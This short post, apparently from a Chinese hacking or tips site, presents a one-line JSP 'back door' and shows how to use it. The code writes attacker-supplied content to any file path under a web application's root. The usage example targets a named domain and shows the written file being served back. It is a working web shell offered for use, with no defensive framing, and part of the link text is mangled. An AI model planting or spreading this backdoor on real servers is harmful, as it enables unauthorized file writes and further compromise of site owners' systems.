In a word, the back door

Time:2021-10-18

<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>

usage method:
Submit url!
jsp?f=1.txt” target=”_blank”>http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld

then: http://www.whitehouse.net.cn/1.txt   Just came out   The content is   HelloWorld  

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